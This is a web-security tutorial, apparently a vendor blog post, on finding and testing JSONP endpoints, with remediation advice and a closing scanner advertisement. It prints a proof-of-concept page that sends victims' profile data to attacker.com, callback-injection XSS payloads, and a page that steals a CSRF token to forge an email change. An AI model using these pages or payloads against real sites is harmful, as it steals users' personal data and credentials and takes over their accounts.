JSONP Security Testing: Cross-Domain Data Exfiltration and Callback Injection
JSONP (JSON with Padding) was invented to solve a problem that CORS now handles properly. Before browsers implemented the Cross-Origin Resource Sharing standard, web developers needed a way to fetch data from different domains. JSONP exploited the fact that <script> tags are not subject to the Same-Origin Policy — you can load a script from any domain, and it executes in your page's context.
The pattern looks like this: you add a callback parameter to a request, and the server wraps the JSON response in a function call. GET /api/user?callback=processData returns processData({"name":"alice","email":"alice@example.com"}) instead of raw JSON. Your page has already defined processData, so when the script loads, it executes with the response data.
The security problem is fundamental: any page on the internet can include your JSONP endpoint as a script tag and exfiltrate whatever data it returns — including authenticated data tied to the victim's session cookies.
Why JSONP Is Still Worth Testing
CORS replaced JSONP's legitimate use case, but JSONP endpoints don't disappear automatically when a framework migrates to CORS. Legacy endpoints linger in older services, third-party widgets, CDN-hosted assets, and APIs that weren't fully audited during a platform migration.
Modern applications still have JSONP issues when:
- A legacy API layer was never migrated and remains accessible at a non-obvious path
- A third-party analytics or tracking script exposes a JSONP endpoint that leaks session-linked identifiers
- A mobile backend API preserved the callback parameter for backwards compatibility
- A developer added
?callback=support to a new endpoint without understanding the security implications - The main API is CORS-protected but a sub-domain or CDN asset still has JSONP support
Reconnaissance: Finding JSONP Endpoints
Parameter discovery
JSONP endpoints accept a callback parameter with common names. Test each API endpoint and static URL you find with these parameter names:
callback
jsonp
cb
jsoncallback
jsonpcallback
callbackFunction
json_callback
c
func
fn
A quick grep across JavaScript source files often reveals JSONP usage:
# Search JS for JSONP patterns
grep -r "jsonp\|callback=" --include="*.js" ./static/
# Look for script-tag injection patterns
grep -r "createElement.*script\|appendChild\|document.write" --include="*.js" ./static/ | grep -i "callback\|jsonp"
Browser DevTools approach
Load the application while watching the Network tab filtered to JS requests. JSONP responses are served with Content-Type: application/javascript or text/javascript — not application/json. Requests made via <script> tag injection show up here rather than in XHR/Fetch.
Historical endpoint discovery
# Check Wayback Machine for old JSONP usage
curl "https://web.archive.org/cdx/search/cdx?url=target.com/*&fl=original&filter=original:.*callback.*&output=text&limit=100"
# Search GitHub/GitLab for references
"site:github.com target.com callback jsonp"
The Core Attack: JSONP Hijacking
If an endpoint returns authenticated user data via JSONP, any attacker page can steal it. The attack works because:
- The victim is logged in to
target.com— their session cookie exists in the browser - The attacker's page at
evil.cominjects a<script>tag pointing totarget.com/api/profile?callback=steal - The browser requests the endpoint and automatically sends the victim's session cookies (it's a regular script load)
- The server returns
steal({"name":"Alice","email":"alice@example.com","api_key":"sk-abc123"}) - The attacker's
steal()function receives the data and exfiltrates it to their server
Proof-of-concept attack page:
<!-- Attacker page at evil.com -->
<!DOCTYPE html>
<html>
<head>
<script>
// Define callback before the script tag fires
function steal(data) {
// Exfiltrate to attacker-controlled server
var img = new Image();
img.src = 'https://attacker.com/collect?d=' + encodeURIComponent(JSON.stringify(data));
document.body.appendChild(img);
// Also try navigator.sendBeacon for reliability
if (navigator.sendBeacon) {
navigator.sendBeacon('https://attacker.com/collect', JSON.stringify(data));
}
}
</script>
<!-- Load victim's authenticated JSONP endpoint -->
<script src="https://target.com/api/user/profile?callback=steal"></script>
</head>
<body>
<p>Loading...</p>
</body>
</html>
What data to look for
Not every JSONP endpoint is equally dangerous. Prioritize endpoints that return:
- API keys or tokens — any credential usable outside the browser session
- Email addresses and PII — user profile data that violates privacy
- CSRF tokens — which can enable subsequent cross-site request forgery
- Internal identifiers — user IDs, account numbers, anything enabling targeted attacks
- Payment or financial data — partial card numbers, transaction history
- Session tokens themselves — rare but possible in broken implementations
Callback Injection (JSONP-Based XSS)
Many servers accept the callback parameter without sanitization and reflect it directly into the response. If the server reflects arbitrary text as the function name, an attacker can inject JavaScript.
Test payloads for callback injection:
# Basic reflection test — does callback appear in response?
GET /api/data?callback=test123
# XSS via callback parameter
GET /api/data?callback=alert(1)//
GET /api/data?callback=alert(document.domain)
GET /api/data?callback=};alert(1);//
GET /api/data?callback=alert(1)
# Newline injection (breaks out of comment if response is wrapped)
GET /api/data?callback=test%0aalert(1)
GET /api/data?callback=test%0d%0aalert(1)
# Long payload to bypass length limits
GET /api/data?callback=aaaaaaaaaa[...300 chars...]alert(1)
# Unicode bypass attempts
GET /api/data?callback=%E2%80%A8alert(1) # U+2028 line separator
GET /api/data?callback=%E2%80%A9alert(1) # U+2029 paragraph separator
A vulnerable response would look like:
// Vulnerable: reflects callback directly
HTTP/1.1 200 OK
Content-Type: application/javascript
alert(1)({"user":"alice"})
// Attacker injects function that pops an alert, then calls it with data
Content-Type: application/json instead of application/javascript, callback injection XSS doesn't work because the browser won't execute the response as script. But JSONP hijacking can still work if the endpoint is intentionally used via script tags.
Testing for Referer-Based Restrictions
Some implementations try to restrict JSONP access by checking the Referer header. These controls are weak — the Referer header can be suppressed or spoofed in some contexts.
# Test with no Referer (direct request)
curl -s "https://target.com/api/data?callback=test" \
-H "Cookie: session=victim_token"
# Test with attacker Referer
curl -s "https://target.com/api/data?callback=test" \
-H "Cookie: session=victim_token" \
-H "Referer: https://evil.com"
# Test with spoofed legitimate Referer
curl -s "https://target.com/api/data?callback=test" \
-H "Cookie: session=victim_token" \
-H "Referer: https://target.com/app"
# Test without Referer using Referrer-Policy: no-referrer
# Add this meta tag to attacker page:
# <meta name="referrer" content="no-referrer">
# Then include the JSONP script tag — Referer header won't be sent
Testing CSRF Token Leakage via JSONP
If an application exposes CSRF tokens through a JSONP endpoint (for example, a "get current session info" endpoint), attackers can steal the CSRF token and then perform CSRF attacks despite the token protection.
<script>
function gotSession(data) {
// Got the CSRF token
var token = data.csrf_token;
// Now use it to perform CSRF
var form = document.createElement('form');
form.method = 'POST';
form.action = 'https://target.com/api/change-email';
var tokenField = document.createElement('input');
tokenField.name = 'csrf_token';
tokenField.value = token;
form.appendChild(tokenField);
var emailField = document.createElement('input');
emailField.name = 'email';
emailField.value = 'attacker@evil.com';
form.appendChild(emailField);
document.body.appendChild(form);
form.submit();
}
</script>
<script src="https://target.com/api/session?callback=gotSession"></script>
Automated Discovery with Burp Suite
Set up Burp to catch JSONP responses automatically:
- In Proxy → Options, add a match rule for responses containing
Content-Type: application/javascript - Use the Param Miner extension to fuzz for hidden callback parameters on all endpoints
- In the Target → Site map, filter for responses with status 200 and Content-Type
javascript - Search the response content for patterns like
function_name({orcallback_name({
# Quick grep on captured responses
# Look for JSONP response patterns
grep -r "^[a-zA-Z_$][a-zA-Z0-9_$]*\s*(" burp_responses/ | grep -v "function\|var\|let\|const"
Testing Checklist
| Test | What to check | Vulnerable indicator |
|---|---|---|
| JSONP endpoint discovery | Add ?callback=test to all API endpoints |
Response wraps JSON in test({...}) |
| Authenticated data exposure | Test JSONP endpoints with session cookie, no Referer | Returns user-specific data to unauthenticated origin |
| Callback injection / XSS | Send ?callback=alert(1) |
Response contains unsanitized callback reflected as JS |
| Content-Type check | Check response Content-Type header | application/javascript or text/javascript |
| Referer bypass | Request without Referer or with attacker Referer | Endpoint returns data without checking origin |
| CSRF token exposure | Does any JSONP endpoint return CSRF tokens? | Token leakable to attacker page, enables CSRF chain |
| Callback length restrictions | Test very long callback names (500+ chars) | No length validation allows large payloads |
Impact Assessment
Rate JSONP findings based on what data they expose:
- Critical: JSONP returns API keys, session tokens, CSRF tokens, or payment data
- High: JSONP returns PII (email, name, address) or account identifiers; callback injection XSS executes
- Medium: JSONP returns non-sensitive user metadata; endpoint exists but returns only public data
- Low/Informational: JSONP endpoint exists but is unauthenticated and returns only public data with no injection path
Remediation
Migrate to CORS: JSONP's only legitimate use is cross-origin data sharing, and CORS does this with proper access controls. Replace JSONP endpoints with proper REST endpoints that return application/json and use CORS headers to whitelist trusted origins.
# Proper CORS response headers
Access-Control-Allow-Origin: https://trusted-frontend.example.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type, Authorization
Remove the callback parameter: If you cannot immediately migrate, remove the callback parameter support from authenticated endpoints. Public endpoints with no sensitive data pose less risk but should still be reviewed.
Validate and sanitize callback names: If JSONP must remain for legacy compatibility, strictly validate the callback parameter against an allowlist of valid function names: only alphanumeric characters, underscores, and dots, with a maximum length. Reject anything else.
# Strict callback validation (Node.js example)
function validateCallback(callback) {
if (!callback) return 'callback';
if (!/^[a-zA-Z_$][a-zA-Z0-9_$.]{0,64}$/.test(callback)) {
throw new Error('Invalid callback name');
}
return callback;
}
Set correct Content-Type: Ensure JSONP responses use application/javascript, not application/json. Browsers that see application/json with a function-call body won't execute it as script (though legacy browsers may still be affected).
Add X-Content-Type-Options: nosniff: Prevents browsers from MIME-sniffing JSON responses and executing them as script in old browser versions.
Require authentication for JSONP on authenticated endpoints: If JSONP must remain, ensure every authenticated endpoint checks credentials even for JSONP requests. Do not treat the presence of a callback parameter as a signal to skip auth.
Ironimo scans for JSONP endpoints across your application and API layer, tests callback parameters for injection, and identifies authenticated JSONP endpoints that could expose user data to cross-origin requests. Get a full picture of your cross-origin data exposure before an attacker does.
Start free scan